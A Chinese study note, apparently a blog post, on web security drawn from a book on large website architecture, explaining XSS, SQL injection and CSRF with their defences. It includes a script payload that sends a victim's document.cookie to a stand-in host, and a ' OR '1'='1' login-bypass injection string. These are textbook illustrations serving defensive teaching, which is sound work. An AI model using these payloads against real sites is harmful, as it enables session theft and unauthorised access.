本菜鸡之前有过一篇读书笔记,整理了李智慧老师所著的《大型网站技术架构》一书中叙述的五个架构要素。这五个要素分别为 性能、可用性、伸缩性、扩展性、安全性。本文针对安全性这一要素进行简单的讨论,内容也主要参考自《大型网站技术架构》这本书(一万分推荐这本书,个人认为这本书可以说是技术架构导论一样的存在了)。
所谓安全性是指,要求系统在应对各种攻击手段时能够有可靠的应对措施。
本文主要梳理几种常见的攻击技术,以及与之对应的防御手段。
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript
一、攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
二、危害
三、防御手段
1 . 消毒
XSS攻击者一般都是通过在请求中嵌入恶意脚本达到攻击的目的,这些脚本是一般用户输入中不会使用的,如果进行过滤和消毒处理,即对某些html危险字符转义,例如将 ‘<’ 转义为 ‘<’;,将 ‘>’ 转义为 ‘>’. 从而避免 HTML 和 Javascript 代码的运行。
消毒几乎是所有网站必备的XSS防攻击手段。
2 . HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过document.cookie 获取用户 Cookie 信息。
攻击者在HTTP请求中注入恶意SQL命令,服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
一、攻击原理
例如一个网站登录验证的 SQL 查询代码为:
sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下内容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那么 SQL 查询字符串为:
sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
此时无需验证通过就能执行以下查询:
sql = "SELECT * FROM users;"
二、防御手段
1 . 消毒
和防XSS攻击一样,请求参数消毒是一种比较简单粗暴又有效的手段。通过正则匹配,过滤请求数据中可能注入的SQL,如 “drop table” 等。
2 . 参数绑定
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
PreparedStatement ps = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
ps.setString(1, userid);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
防御手段
1. 表单Token
服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
2. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
3. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。